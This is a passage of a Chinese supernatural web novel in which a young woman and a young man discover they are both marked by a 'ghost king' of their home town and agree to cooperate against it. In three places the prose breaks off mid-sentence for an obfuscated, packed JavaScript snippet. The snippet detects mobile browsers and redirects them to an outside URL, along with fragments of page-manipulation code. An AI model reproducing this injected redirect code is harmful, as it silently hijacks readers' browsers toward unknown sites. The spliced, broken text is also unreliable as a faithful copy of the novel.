易无钦就在一片胡思乱想中慢慢睡去。 * 郑咏絮睡得极不安稳。 在东北的几个晚上几乎没啥整觉。三四个小时就得醒一次。 今晚更是严重了,一小时一醒。 而且睡得很不舒服。 侧躺着睡吧,无论哪边,心脏都有一种压迫感。 平躺着吧,那种窒息感越来越严重。 前两晚她一个人住,不舒服的话就起床,走走就好了。 可今晚郑燕和金小萍都在旁边,她不想吵醒她们。否则郑燕一定会一边骂她事多,一边非要拉她去医院看看。而金小萍好不容易哭累睡着了,吵醒了她更难安抚。 所幸东北的酒店暖气足,不需要盖厚厚的被子,她轻手轻脚地坐起来,并未发出什么动静。 靠在床头,不舒服的感觉缓解了一点。 就这样坐着吧,郑咏絮轻轻舒了一口气。她想了想,抚摸了下脖子上挂着的吊坠,觉得躁动不安的情绪得到了安抚。 今晚无雪,格外安静。 郑咏絮百无聊赖,她没法玩手机。那发出的光在黑暗中有点刺眼。她只好无聊环视黑暗,脑袋放空。 说是一片黑暗倒也不是全黑。原本郑燕是要把窗帘全都拉上,但关灯后发现太黑了,担心金小萍害怕,也担心谁起夜的话看不清路。 原本是要留盏起夜灯,但郑燕又不喜欢有灯,她睡不着。 最后折中的办法是把双层窗帘靠外的那层白的全拉上,靠房间的那层深色的不拉完,中间留点出来。 外面的灯光影影绰绰照进来,有点光线但又不影响睡觉。 郑咏絮的目光就落在外层窗帘露出来的白色上。 现在的酒店还是先进,知道用双层窗帘来平衡光线与隐私。而且还能选择打开中间这头还是两边那头——一般而言,这种自动开关的窗帘都只能从中间打开。 她不禁开始思考,要是为了留点光线,把中间这段打开一些就够了吧,何必把边上那段也打开一点呢? 说到底还是郑燕太矫情,一会儿折腾灯光,一会儿折腾窗帘的。 现在倒好,郑燕睡得挺香,她睡不好了。 郑咏絮的目光随之落在边上那段白色上。 边上的这段窗帘跟中间的似乎不大一样,上不着顶下不着地的,像是自己生出来的一截,轮廓也不同。 可能是窗外的灯光环境不一样吧。 郑咏絮怀疑自己在黑暗中看不清楚,于是坐直了身体探头去看。 这一看,她瞬间脊背发凉,浑身汗毛倒竖。 那,那,好像是个身影。 7. 白影 郑咏絮睡意全无,死死捂住了自己的嘴巴。 恐惧是从她看清窗帘边那是个背影时瞬间产生的。 现在她非常确定那不是人——身形再灵活的人也不能飘在空中吧。 那就是无法用现有知识解释的东西。 郑咏絮立即就想开灯,想靠光线驱散这东西。可转念一想,待会要是闹醒了郑燕和金小萍,还不知道怎么去解释。毕竟奇怪的事情只发生在她身上,说不定这个白影也只有她看得到。 她悄无声息蜷缩进被子里,希望被子能带来结界的安全感。 被子蒙头,郑咏絮露出一双眼睛,正好看见隔壁床的金小萍。她正睁大了双眼惊恐地看着她。 郑咏絮瞬间血液都凝固了,她也能看到,她也能看到。 * 金小萍早就看见了那团白影。 自从接到哥哥离世的消息以来,金小萍的睡眠都很不好。 大家都安慰她,让她节哀,让她看开点。她知道成为孤儿的自己要懂事,不能过度伤心增添别人的麻烦,于是装得很坚强。 但她只是个孩子,就算早就知道哥哥的身体不好,天天熬日子。但这对她来说,仍然是个沉痛的打击。 金小萍只能在晚上偷偷哭。 三人间的房间,郑燕让她睡在中间。她一直清清楚楚地听到郑咏絮在床上翻来翻去,哪怕动作很轻微。 她想悄悄跟郑咏絮说,既然睡不着,不如她俩起来去外面走廊走走。 探出头去,话还没出口,金小萍就看见了窗边的白影。 看一眼,她就知道这是传说中不干净的东西。 这是一种说不清的感觉,相当于直觉吧。金小萍直觉觉得那就是超出常理解释的东西。 旁边的咏絮姐姐还坐起来了,甚至盯着窗帘看。她不害怕吗? 金小萍想小声提醒她,却发现自己根本发不出声音。 她看见郑咏絮终于缩回了自己的被子里,一双眼睛露出来正好与她对视。 她俩都看见了。 * 既然都看见了,那可以开灯了。郑咏絮准备伸手去开床头灯,刚把头露出来,就呆住了。 那个白影,来到了她和金小萍的床边。 这只是一团影子,模模糊糊的,什么也没有。 但郑咏絮却生出一种明显的感受。 这个白影,正在居高临下地注视着她。 郑咏絮感觉自己全身上下的毛孔都炸开了,冷风直直往里灌。她感觉到异样的寒冷,从内而外,就像是穿着短袖短裤跌倒在外面的雪地里。 她不知道的是,金小萍也有同样的感受,这个白影也在盯着她看。 一团没有脸,没有五官的白影,在直愣愣盯着她俩看。 两人都说不出话。 而金小萍那头的郑燕,一无所知地睡得很熟,甚至能听见轻微的鼾声。 郑咏絮嫉妒她的睡眠,把头缩回被子里,希望白影快点离开。 可是,金小萍还在旁边,她也处于危险中。虽然跟这对兄妹没啥深感情,她喊自己姐姐,也不能不管她。 郑咏絮悄悄摸出枕头下面的手机,打了个电话。 * 郑燕睡得好好地,却被一阵刺耳的电话铃声吵醒。她睡眼朦胧从床头柜上拿下手机,皱着眉头看清来电显示: 郑咏絮。 “要死啊,好端端半夜打啥子电话?”她不情不愿接起电话,却忽然意识到她们住在一个房间里。 郑燕起身朝郑咏絮的床上看去,看到被子里露出一些手机的光亮。她下床,几步走到郑咏絮床前,一把掀开被子,低声怒道:“你干啥?” 郑咏絮头一次觉得姐姐不那么讨厌了。这声怒吼宛如天籁,瞬间将刚才那股不适的注视感和寒冷驱散得无影无踪。她一下子坐起来,惊魂未定环视房间,发现那个白影已经不见了,眼前是怒气冲冲的姐姐。 “啪”一声,灯光亮起,是金小萍开了灯。 她也坐起来了,脸上犹自带着惊恐。 “姐姐,我好害怕。” * 易无钦早早就起来了,给张鹏和师兄甚至前老板打了一圈电话后还真的立刻接到了活。 三百元,设计一张海报。 他马上打开电脑开干。 忙活一上午,刚给对方发了文件,敲门声就响起。 开门一看,是殷老太。 “没吃东西吧,我给你带了点饺子,热乎的。” 易无钦喜滋滋接过饭盒。 “我在家里吃过了来的,你自己赶紧吃吧。”殷老太自顾自坐在沙发上。 易无钦给她倒了杯热水,自己去厨房拿了陈醋和大蒜下饺子吃。 “姨姥,你咋来了?” 殷老太打开电视自己看起来,“老孙头请我帮他找人做法事,我叫了人,一会儿到。” 易无钦“哦”了一声。 “还有,”殷老太拿着遥控板挑选频道,“老孙头还说了,租户那妹妹今天办完事儿就过来房子收拾她哥的东西。” 易无钦抬起头,“他妹妹?” “听说是个还在读中学的小女孩,小小年纪的。” “不是那个女孩?”易无钦问。 殷老太知道他说的谁,摇摇头,“那个是同乡,但她们是一起的。那女孩也会来。” 她笑起来,眼角的皱纹更深了,“咱俩会会她。” 等到易无钦吃完了饺子,老孙头到了,不一会儿殷老太请来做法事的人也到了。 殷老太搬了个板凳去楼道里看着他们弄。 接近下午两点时,郑咏絮仨姐妹终于来了。 老孙头认出了郑咏絮,气冲冲地要找她们理论。可后面跟着的居委会何大妈和民警,让他瞬间没了气焰,只好萎下来,拿了凳子在殷老太旁边坐下。 “孙老头,你干啥?又搞封建迷信?”何大妈看见屋里的做法就不高兴。 “我这不是给邻居们一个交代嘛,快过年了,谁也不想晦气吧。”老孙头撇了撇嘴。 郑燕拉住何大妈,“我们抓紧时间收拾了,要赶晚上的飞机回去。” 何大妈招呼着众人进屋去。 殷老太站起来,在过道活动活动腿脚。 不一会儿,郑咏絮就溜出来了。 “老奶奶,您好。咱们上次见过的。”她笑眼弯弯,十分有礼貌。 殷老太也笑呵呵回应她,“嗯,见过,我记得你,漂亮的小姑娘。” 郑咏絮见屋内的人注意力都不在自己这里,楼道没有别人,于是凑近了殷老太耳边,低声问:“奶奶,听说您会看事儿?” 殷老太抬起眼皮看她,口罩上面露出来的一双圆眼,隐隐可见血丝,眼下铺了厚厚的粉,想必是用来遮那圈乌青的。这一看就没休息好。 “咋啦?遇上事儿了?” “奶奶,您帮我看看,”郑咏絮指指自己,“我们三个身边,干净吗?” 她不等殷老太回答,又指指屋子,“里面干净吗?” 殷老太没说话。 郑咏絮看她沉默,忽然懂了她的意思,从包里掏出二百元递到她手里,“够吗?” 殷老太毫不客气收下钱,开始看事儿。她依旧沉默地看着屋子里,又看着屋里的人还有她,又去看楼下和过道。 郑咏絮焦急地等着她的回答,见她看来看去,看了好久,也不知到底看好没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526737|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 殷老太又闭上眼睛,摊开左手,五根手指不住地掐算。 “干净的,这屋子和你们身边都干净的。昨晚你们遇见的东西没在这里。” “哦,”郑咏絮闻言,放下心来,又顿时惊讶不已。果真是神婆,昨晚的事都算出来了。 她朝屋里招手,“小萍,过来。” 金小萍乖巧地从屋里出来。 “这位奶奶会看事儿,很厉害。”郑咏絮介绍,“她刚刚帮我们看了下,昨晚那东西没来,没啥事儿。” 金小萍朝她点点头,“谢谢奶奶。” “这下咱们都放心了,估计就是那酒店不干净。”郑咏絮一边说一边小心翼翼去看屋内,郑燕正在跟老孙头和民警交涉,没空注意她们。昨晚的事情,郑燕并不相信什么灵异,带着被吵醒的不爽对她好一顿训斥。 金小萍犹豫了好半天,最终还是低声开了口,“奶奶,是不是我哥哥来看我了?” “你哥不是跟你们一起的吗?”殷老太嘴上回答她,眼睛却看着郑咏絮。 “不是哦,”郑咏絮摆摆手,“我来找他好几次他都不见我,跟我没关系。” 殷老太看向金小萍,“昨晚那东西,你害怕吗?” 金小萍心有余悸,点点头。 “如果是你哥来看你,那你不应该感到害怕,因为你们是至亲。”殷老太顿了顿,“你害怕了,说明两种情况。第一,那不是你哥;第二,那是你哥,但他因为某些原因变了,他意识里仍然记得你是妹妹所以来看你,但因为他变了,所以你感到害怕。” “他变了?”金小萍大惑不解,“奶奶,这是什么意思?” 殷老太瞥了眼郑咏絮,“这我就不知道了。我没见着他,啥情况都不知道。再说了,我还说了一种可能,那不是你哥。你这孩子,咋听话只听一半。” “你们不是要回去了吗?要是回去了他还来找你,你们就在当地找个看事儿的看看。本地人看本地人,看得准。” 说完话,郑燕也从屋子里出来了,一边拉着一个大箱子,一边吩咐郑咏絮,“叫个快递上门,海军的东西寄回去。” 老孙头在后面叨叨不休,“都清点好了,出了门我可再也不认。” 郑燕冷冷说,“房子里的都在这里。可也不知道这两天有没有人进出,拿走了什么东西。我们也要回去了才知道。” 老孙头:“嘿,你这丫头是不是找茬?他来时就这个箱子,走了也是这个箱子。反正我没见过其它东西,这两天我也没上楼。你不信,就问片警和老何。我老孙行得端做得正,不是那种人。” 郑咏絮叫完快递,见状笑嘻嘻迎上来,“大爷,您别生气。咱们都是直白人,有话当面说开。这些日子也麻烦您了,那几百块押金咱就不要了。就当提前孝敬您老人家。”她转头对金小萍说,“回去了,我们也得孝敬孝敬你哥哥。” “嘿,你说啥呢,咒我死是吧?”老孙头一下爆发怒火。 何大妈使劲拽了他一下,“差不多得了,你欺负几个姑娘家算什么本事?” 她对郑燕说,“死者为大,大家都各让一步。您有我电话,也有刘警官电话,有啥事儿就直接给我们打电话吧。” 郑燕点点头。 何大妈又拉着她们说,“屋子里收拾完了,咱们下去等快递吧。有些资料要你们签字。” 郑咏絮转头对郑燕说,“姐,你陪小萍去吧。我想跟这位奶奶聊会儿。” 郑燕不明所以看着她,但也懒得管,点点头,拉着金小萍下楼。 等他们几个下去后,郑咏絮还没说话,却见殷老太后面的房门打开了。一个高高的身影立在那里, “咱们好好聊聊吧。” 8. 摊牌 易无钦在街边找了个咖啡馆,离小区很近。他要了个角落的位置,安安静静不受打扰。 “每次看见你都戴着口罩,这里的暖气足,可以把口罩摘了吧?我还没见过你的样子。”他看着郑咏絮脱掉厚重的外套,却始终不摘口罩。 郑咏絮摇摇头,“我过敏了,脸上长了疹子不好看。等下次疹子消了再让你看我的样子吧。现在丑丑的。” 易无钦笑起来,“你还挺有偶像包袱。” “嗯,我喜欢别人印象中的我都是光彩照人的。”郑咏絮笑道。 一杯咖啡和一杯可可端上来了。郑咏絮叫住服务员,“麻烦您,帮我拿根吸管。” 服务员很快给了她,郑咏絮将吸管插入可可中,将口罩下面掀开一点喝。 易无钦见状无语笑了,“你还真是不愿意取下来。” “别纠结我的口罩了,说正事吧。”郑咏絮放下可可。 “你先说。”易无钦抱着胳膊。 郑咏絮挑挑眉,“说什么?” 易无钦摊手,“你想说什么说什么,我反正是一无所知。” “一无所知?”郑咏絮好奇道,“你外婆和那位奶奶什么都没跟你说?” 易无钦摇头,“她们也不知道。” 郑咏絮露出来的两只眼睛写了“不信”,“那位奶奶还会看事儿,能啥都不知道?” “真不知道。”易无钦端起咖啡喝了一口,“你应该听说过吧,五仙不过山海关。东北的仙家过不去,西南的神仙也过不来。她算不出来。” “就算她不知道情况,但她懂这方面的东西。为啥不是咱们三个一起聊?”郑咏絮看着他。 易无钦:“姨姥年龄大了懒得动,在家休息。我回去转述给她。” 郑咏絮继续问:“那为啥不就在你家里聊?” 易无钦看着她,嘴角一抹冷笑,“我哪敢让你和你的姐妹进我家呢?一个金海军差点要了我的命,你们要是再进去,指不定会发生啥。” 郑咏絮眼睛弯了弯,“我说过,我跟金海军不是一路人。” “那你对我而言,是好人吗?”易无钦问。 “那肯定是,咱们是一头的。”郑咏絮双手放在桌上,靠近易无钦低声道,“那晚,明明是我救了你。” 易无钦瞳孔收紧,脑海中回想起那晚楼道被魇住时的情景,的确是她来了,他才能动。 郑咏絮继续说,“你外婆在你身上设置了禁制,保护了你这么多年。她一走,金海军就来了,他以死破了禁制。” 她停顿了下,又喝了口可可,“当然了,金海军生了那么重的病,本来就时日无多,也算是有点贡献吧。那晚要不是我来了,他起码得夺你一魂一魄。” “他要干什么?他凭什么?”易无钦心里忽然生出愤怒来。 郑咏絮沉默了好一会儿,“不知道,反正是要害人。” “你不知道?”易无钦用充满怀疑和审视的目光看着她。 郑咏絮摇摇头,“不知道,而且你也别用这种眼光看着我。”她停顿片刻,“我说了,咱俩是一头的。” 易无钦冷笑一声,“我会相信你跟我是一头的?” “你当然要相信。”郑咏絮拉下毛衣的领子,露出脖子。 易无钦跟着她的手看去,那段白皙的脖子上,赫然出现了一条红线。 一道与他脖子上一模一样的红线。 他愣住了,手不自觉去抚摸自己的脖子。 “你也有一条吧?红线只有我和你能看到。”郑咏絮松开手,藏起红线。 “红线是什么意思?”易无钦喉头发紧,声音发涩。 “意思是,”郑咏絮面无表情看着他,“你和我都是被鬼王选中的人。” 易无钦感到头皮发麻,脑子如缺氧般空白,他紧紧盯着郑咏絮的口罩,仿佛理解不了背后那张嘴吐出的字。 那张嘴的声音还在源源不断从口罩里传出来,“我们那里叫归望镇,得名于归望山。传说山上有块归望石,是一位妻子盼望出征的丈夫早日回来所化,也有说是母亲期盼儿子回来。” “只不过这都是传说罢了,编故事嘛,什么都可以。” “其实归望镇以前叫做龙现场,建国后改成了归望,连带着山也改了名。但要溯源的话,这座山的名字叫,鬼王山。” “得名原因也很简单,山里住了位鬼王。” 鬼王,鬼王。 易无钦尘封的记忆被掀开。 他自然是听说过的,当年在归望镇,小孩们都指着那座山叫“鬼王山”。学校老师一遍遍纠正他们,“那是归望山,归望。” 他一直以为是先叫归望山,然后被音讹传成“鬼王山”,就像小孩们都喜欢根据名字给对方起外号一样。 结果情况恰好是颠倒过来,那里真有鬼王。 “鬼王,是什么?”易无钦感觉自己有些喘不过气。 郑咏絮不知道该怎么回答这个问题,想了半天,说:“就字面意思上的鬼王。反正是不正常的,现代科学无法解释的东西。” “那,为什么是我和你,为什么是我?” 郑咏絮摇摇头,“我也不知道,我也不知道为什么选中我。” 她看着易无钦,“真幸运,你外婆不知道用什么办法保护了你,在东北快快乐乐活了十几年。” “而我,总是被过敏折磨。都不敢离开归望镇太久。” 易无钦盯着她的口罩看,“那你来找我,是那所谓的鬼王让你来的?” 郑咏絮干笑几声,“呵呵,听你的口气很蔑视。其实你不懂鬼王的好。鬼王会帮你找到财宝,保你大富大贵。开心吗?不是谁都有这样的机遇。” 易无钦静静地看着她,过了好一会儿才说,“你真是为鬼王做事的?” “做事?不不不,我们只是被鬼王选中而已。咱们这种叫做鬼王的祭童。祭童是做啥的不需要我解释吧?所以我们做不做事不要紧,因为结局就是死。等它老人家啥时候高兴了取走我们的小命。我们可以啥都不做,静静等死。在东北等还是西南等,都一样。”郑咏絮淡淡道:“哦,也不一样,在东北可能死得更快。” 易无钦面无表情,“你来找我,是想我回到归望镇,大家死慢点,死一块儿?” “不不不,”郑咏絮摇摇头,“我根本就不想死,我还这么年轻,太可惜了。我要的是解除身上的毛病,活得好好的,长命百岁。” “希望你也是一样的想法。”她定定地看着他。 易无钦点点头,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526738|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也想好好活着,活得明明白白。” 郑咏絮举起可可的杯子,“那咱们合作愉快。” 易无钦也举起咖啡杯示意了一下。 “但我还有很多疑问。”他说。 郑咏絮抢先摊开双手,“首先,我知道的事情并不比你多。其次,我也不知道怎么解除祭童的身份。第三,我没见过鬼王,我也不知道它是什么东西。” 易无钦一时语塞,连自己要问什么都忘了。 缓了好一会儿,他才整理了思路,“你,是怎么知道鬼王以及祭童的事的?” 郑咏絮低垂下头,“大伯告诉我的。” 她停顿了一会儿,继续说,“我刚才说了,鬼王能帮忙找财宝。我大伯就是这样的受益人。还有金万堂,他是归望镇实际上的首富,就是因为他能跟鬼王交流,靠那几个煤矿发了财。” “当然了,我被选中并不是因为大伯的原因,鬼王如何选人谁也不知道。反正我是祭童了。两年前,大伯跟我说了这件事,这也很无奈。他让我看开点,毕竟我爸妈这辈子会荣华富贵。当然了,在我死之前,我也是要啥给啥衣食无忧的。等你去了归望镇,我相信你也会有这般礼遇。” 易无钦看着她,“你大伯说了你就信了。那你没有怀疑过鬼王到底存不存在吗?” 郑咏絮淡淡道:“如果你家里所有人都健康正常,但偏偏你自己从小就是个动不动就过敏还出不了远门的体质,你会更相信这是你中了基因彩票的运气,还是相信这是一种类似诅咒的命运呢?” 易无钦说,“这两个归根结底都是不幸。” “如果是诅咒,那就存在解开的可能。如果我不是祭童了,那是不是就不过敏了?”郑咏絮叹气,“但如果真是基因的问题,恐怕这世上最顶尖的科学家都解决不了。” “所以我宁愿相信这是诅咒,我拼上一把,还能有概率翻身。” 易无钦低声说,“你计划好了怎么做?” 郑咏絮摇头,“我说了,我知道的并不比你多。单枪匹马,谈不了什么计划。我来东北,一个是金万堂和我大伯派我来,他们怕金海军破不了禁制。一个是我想来会会你,希望你是个对我有用的人。” “你就那么信任我?”易无钦嘴角带笑,“你大伯和那个金什么的,用富贵迷住了我的眼,让我心甘情愿怎么办?” 郑咏絮跟着笑起来,笑得胸有成竹,“我赌你不愿跟他们同流合污。毕竟,你还要了解当年你爸妈的失踪是怎么回事。” 易无钦收起笑容,坐直了身体,一字一顿说,“你知道当年的事?” “我不知道,”郑咏絮回答得很干脆,“但是你想想看,你爸妈当年先后失踪在归望山,你外婆前来接走你,然后就给你下了禁制。现在你又是祭童,这一切不可能没有关系。” 易无钦没有说话。 郑咏絮端起可可碰了下他的杯子,“等你回到归望镇,咱们一起查。” “看来你真的对我很信任。”易无钦只说了这一句。 “你比我更想对抗鬼王,不是吗?其实你更应该主动找我当帮手。”郑咏絮眼里放光。 她伸出一只手,“合作愉快。” 易无钦没有过多犹豫,伸出手去握住,“合作愉快。” 9. 吊坠 等郑咏絮三人回到归望镇已经是深夜。 一到地界,郑咏絮明显感觉到脖子上的窒息感缓解了很多,身上的疹子也没那么痒。 当然了,归望镇的风也没那么寒冷。郑咏絮站在房间的窗户旁,朝外望去,远处的归望山与黑夜融为一体,依稀可见山的轮廓绵延起伏。 一直以来,她觉得这山跟其他山也没啥区别,只不过从小对着它,归望山可以像很多书里写的那样,是浓浓乡愁的一部分。 可是,只有出去了才能怀念家乡,产生所谓的乡愁。像她这样出不去的,这山就成了笼子的边缘。 这山,不仅成不了她的乡愁,还藏着那么多秘密不可示人。 郑咏絮盯着黑暗中模糊的轮廓,在心里冷笑。 管你什么鬼王,我要一刀劈得你魂飞魄散。 忽敲门声响起,妈妈宋兰芳来叫她下去。 “雪雪,你姐姐喊给你熬的药热好了,赶紧去喝。” 郑咏絮收回神思,略略收拾,下楼去喝药。 药是郑燕出发去东北前就配好的,让宋兰芳提前熬好等郑咏絮回来就喝。免得过敏症状更为严重。 郑燕在渝州读的医科类大学,学的中医方向。这两年她经常给郑咏絮配药,为的是缓解过敏。郑咏絮每次都乖乖喝了,反正也喝不死她。 这些药起没起效不好说,郑咏絮私心觉得郑燕在拿她练手。但这次去东北,的确也喝了好几天她的中药。郑咏絮现在还活蹦乱跳的,这其中不得不说有郑燕的功劳。 郑咏絮往院子里一看,爸爸的车还没回来。看来郑燕也没回来,他们去送金小萍回家了。 郑燕一家和她家其实就在一个院子里,只是两栋不同的房子。当年郑高志靠开煤矿发家后,第一件事情就是翻修了祖屋。修了两栋紧挨着的三层小洋楼,外墙贴了瓷砖,内里装修奢华。这放在当年是很拉风的,惹得镇上的人羡慕不已。 后来富裕的人越来越多,翻修房子不再是稀奇事,比他家修得更豪华的越来越多。这两栋小洋楼也就没那么惹眼了。 郑咏絮喝完药后打算上楼,却看见郑高志在院子里踱步。 “伯父,这么晚了,你还不睡吗?” 郑高志朝她温和地笑,“等你爸爸和姐姐回来,我好锁院门。” 院门是这家里谁都可以锁的,爸爸回来停好车也可以自己去锁。伯父这是找了个借口,他等的是自己。 郑咏絮乖巧地走过去,“伯父,外面冷,你进屋嘛。” “没事,他们快回来了。”郑高志说完便压低了声音,“那个男娃儿会回来吧?” 郑咏絮点点头,“他说过了年就来。毕竟他外婆刚走,头年还是在东北过比较好。” 郑高志说:“明天你万堂公公肯定要找你,你到时候跟我一起去。” “好。”郑咏絮一边说一边打了个哈欠。 郑高志挥挥手,“你回房间去早点睡嘛,好好休息。” “好的,伯父。你也早点休息。”郑咏絮乖巧地上楼回房睡觉。 * 易无钦出门时在楼道碰到了老孙头。 “孙大爷,来收拾房子吗?”他礼貌地打了招呼。 老孙头的脸色比前两天好了一点,“还收拾啥,这破屋。我归整归整,堆点杂物进来。”他挥挥手,“还是该听你姥姥的,不租了。空着就空着吧。” 易无钦站在楼道朝他屋里看了看,发现里面红红黄黄的。红色是喜庆的福字装饰,黄色是几张符。屋里到处都是,地上桌子上甚至床上都有,不知道的还以为这是个仓库,专门卖这些东西。 他笑了起来,“大爷,您这弄得太夸张了。别说那个金海军就是一个人,哪怕是一群妖魔鬼怪都得被您吓走了。” “不好吗?你就住旁边不怕吗?我这也是为你们好。反正我也不住这里。”老孙头嘻嘻笑,从怀里掏出一个符袋,“给,送你。” “啥?”易无钦接过来,左看右看。 “护身符。我找道家师傅请的。”老孙头说。 易无钦毫不客气接下,说了声谢谢,又问:“你不是找的出马娘娘吗,怎么又找了道家师傅?” 老孙头瞥了他一眼,“这叫多管齐下,待会儿我再去庙里找和尚求个镇宅的。” 易无钦当着他的面将护身符好好放在兜里,忽心中一动,想起那晚被魇住后,郑咏絮来了,随之而来的还有一阵细微的声音。铜鼓声和蛙鸣。 他问过殷老太,她也说不上来这是什么,大概是西南地区的东西。 想到这里,他对老孙头说,“这个金海军是西南的人,要不你再看看西南那边信奉什么,多管齐下嘛。” 老孙头恍然大悟,觉得他说得很对。 走出家属区后,易无钦掏出了兜里的吊坠。 这是郑咏絮挂在脖子上的,临走时送给了他。 吊坠是黄水晶做的,晶莹剔透,一元硬币大小,前后都刻了形状。郑咏絮说这是一个长辈送给她的,她也不知道形状是啥。 “说是能辟邪。” 易无钦细细摸索了一晚上,又结合自己的遭遇,他觉得这个吊坠雕刻的是一个鼓,前后鼓面他看不出,但一定是青蛙。 鼓和青蛙一定有重要含义。易无钦不想放过任何线索。 他现在要去的地方是曾经就读的高中,离家不远。那里有一位老师,教历史的。易无钦对他印象很深刻。这位老师对民俗文化特别感兴趣,听说殷老太会看事儿,还曾经请他帮忙引荐。只是被姥姥和殷老太双双拒绝了。 这位老师也是他认识的人当中,为数不多对这一块有研究的,易无钦也找不到其他人能解答。 他算着中午放学的时间,提着一袋苹果在校门口等了一会儿。果然,放学铃声响起,三三两两的人群朝外走。一个熟悉的身影出现后,易无钦立刻迎上去。 “黄老师,您好。我是易无钦,您还记得我吗?” 历史老师黄衡推推眼镜,看清面前的人,笑了起来,“哦,是你,小易。老师当然记得你。现在大学毕业了吧?在哪儿上班呢?” 易无钦笑道,“还没上班,闲着的。我来看看老师。” 黄衡呵呵笑着,“好好好,年轻人不着急,只要有本事工作机会多的是。你找老师有事吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526739|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易无钦将手上的苹果递给他,“老师,我有些民俗方面的事情想咨询您。方便的话,我请您吃午饭吧,咱们边吃边聊。” 黄衡推辞着不要苹果,“你来看老师,老师就很高兴了,不要花钱买东西。年轻人要懂得存钱。老师请你吃吧,走。” 黄衡高高兴兴拉着易无钦朝校外走去,找了家看上去还不错的饭馆。 点完菜后,黄衡就拉开了家常,“我记得你是和你姥姥住一起的,她老人家身体还好吧。” 易无钦说,“姥姥过世了,十月间走的。” “啊,节哀顺变。”黄衡收敛起笑容,神色凝重。 易无钦直奔主题,“老师,你是我认识的人当中对民俗文化最为了解的。我想请您帮忙看看这是什么。” 他将黄水晶吊坠拿出来递给黄衡。 黄衡取下眼镜,将吊坠拿到眼前仔仔细细地看。 “这像是一个鼓,鼓面雕刻了什么动物。” 他继续看,“这个鼓不像是东北文化里的鼓。萨满教的鼓带抓环,文王鼓是单面而且有铜钱。这可能是南方那边的吧。鼓嘛,很多地区文化里都有。” “那这个动物呢?”易无钦继续问。 “动物,”黄衡又看,半晌摇摇头,“这样看我根本看不出来。” “会不会是青蛙或者□□一类的?”易无钦不死心问道。 黄衡点点头,“可能吧,你这是黄水晶嘛,本来就是招财的。□□,民间说是金蟾的化身,也是招财的。” “哦。”易无钦对这个答案有些失望。 黄衡笑了起来,“你要是真想知道,就先给我,我去问问别人。” 易无钦一口答应,“嗯嗯,谢谢老师。” 说话间,服务员把菜端上来了。两人边吃边聊。 “马上新年了,你有啥打算呢?”黄衡关心地问。 易无钦想了想,说,“我打算先不找工作,去西南的渝州看看。” “渝州啊,那里不错的。”黄衡说。 易无钦继续说,“我大学学的美术设计,我就想着趁现在多去走走看看。” “采风嘛,增加艺术灵感。”黄衡赞同地点点头,“西南那边山川地貌和风土人情跟东北大不一样,你去渝州肯定会很有收获。” 易无钦低头略略思忖,决定跟黄衡多说一点,“我去渝州还有个原因。我爸妈以前参加三线建设,在渝州归望镇的五六-四厂工作过。我小时候也在归望镇待过好几年,所以想回去看看。” “挺好挺好。”黄衡说,“有啥需要老师帮忙的尽管说。” 易无钦笑了起来,“谢谢老师,肯定有麻烦您的地方。您对民俗这么有研究,认识的这方面人也多。我去了那里,要是看到有啥不懂的,就来问您。” 当下,易无钦拿出手机主动加了黄衡的微信。 “我研究的主要是东北地区的民俗文化。不过我有个大学同学倒是去了西南,好像就是在渝州,哪个区的博物馆上班。我把他联系方式发给你,到时候你有啥需要了解的,可以去找找他。”黄衡说。 “谢谢老师。” 10. 新年 郑咏絮这一觉睡得非常充实,好像是要把在东北没睡好的觉通通都补上。 等她醒来已经是下午一点过,虽然眼皮仍然打架,觉得还可以再睡一觉。但郑咏絮知道,再睡下去反而会让身体疲劳。反正现在没上学没上班,天天都可以睡到自然醒。 她挣扎着起了床,一番洗漱后来到厨房。 宋兰芳正在厨房忙活,“雪雪,下来啦?把这些菜端去火炉上,咱们烫菜吃。” “妈你不上班吗?” “今天我是上午课多,下午我可以晚点去。” 郑咏絮看见厨房的案板上全都是洗净的菜,白菜、土豆片、藕片,还有肉片、午餐肉之类的。她乖乖地一盘盘端去了烤火的屋子。 宋兰芳早已将火炉烧旺了,整个房间都暖烘烘的。 不一会儿,宋兰芳端着铁锅过来放在火锅中间,倒油炒腊肉粒和咸菜,再加点干辣椒和花椒,倒水煮沸。 汤煮涨就能烫菜了,郑咏絮愉快地把肉片和白菜都倒下去。 “你这次去东北,还顺利吧?”宋兰芳边吃边问。 郑咏絮夹起肉片沾了蘸水吃,“顺利得很,就是睡不好,起了疹子。” “我找你姨婆拿了点陈艾,晚上煮成水,你泡澡泡一下,消疹子。”宋兰芳心疼地看她的脸。 